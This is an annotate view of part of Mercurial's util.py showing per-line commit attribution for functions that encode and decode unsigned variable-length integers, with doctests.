2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3530 A varint is a variable length integer of 1 or more bytes. Each byte
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3531 except the last has the most significant bit set. The lower 7 bits of
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3532 each byte store the 2's complement representation, least significant group
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3533 first.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3534
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3535 >>> uvarintencode(0)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3536 '\\x00'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3537 >>> uvarintencode(1)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3538 '\\x01'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3539 >>> uvarintencode(127)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3540 '\\x7f'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3541 >>> uvarintencode(1337)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3542 '\\xb9\\n'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3543 >>> uvarintencode(65536)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3544 '\\x80\\x80\\x04'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3545 >>> uvarintencode(-1)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3546 Traceback (most recent call last):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3547 ...
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3548 ProgrammingError: negative value for uvarint: -1
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3549 """
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3550 if value < 0:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3551 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3552 bits = value & 0x7F
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3553 value >>= 7
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3554 bytes = []
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3555 while value:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3556 bytes.append(pycompat.bytechr(0x80 \| bits))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3557 bits = value & 0x7F
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3558 value >>= 7
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3559 bytes.append(pycompat.bytechr(bits))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3560
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3561 return b''.join(bytes)
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3562
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3563
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3564 def uvarintdecodestream(fh):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3565 """Decode an unsigned variable length integer from a stream.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3566
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3567 The passed argument is anything that has a ``.read(N)`` method.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3568
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3569 >>> try:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3570 ... from StringIO import StringIO as BytesIO
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3571 ... except ImportError:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3572 ... from io import BytesIO
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3573 >>> uvarintdecodestream(BytesIO(b'\\x00'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3574 0
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3575 >>> uvarintdecodestream(BytesIO(b'\\x01'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3576 1
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3577 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3578 127
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3579 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3580 1337
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3581 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3582 65536
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3583 >>> uvarintdecodestream(BytesIO(b'\\x80'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3584 Traceback (most recent call last):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3585 ...
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3586 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3587 """
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3588 result = 0
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3589 shift = 0
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3590 while True:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3591 byte = ord(readexactly(fh, 1))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3592 result \|= (byte & 0x7F) << shift
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3593 if not (byte & 0x80):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3594 return result
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3595 shift += 7

Mercurial > public > mercurial-scm > hg-stable

annotate mercurial/util.py @ 43714:f0bee3b1b847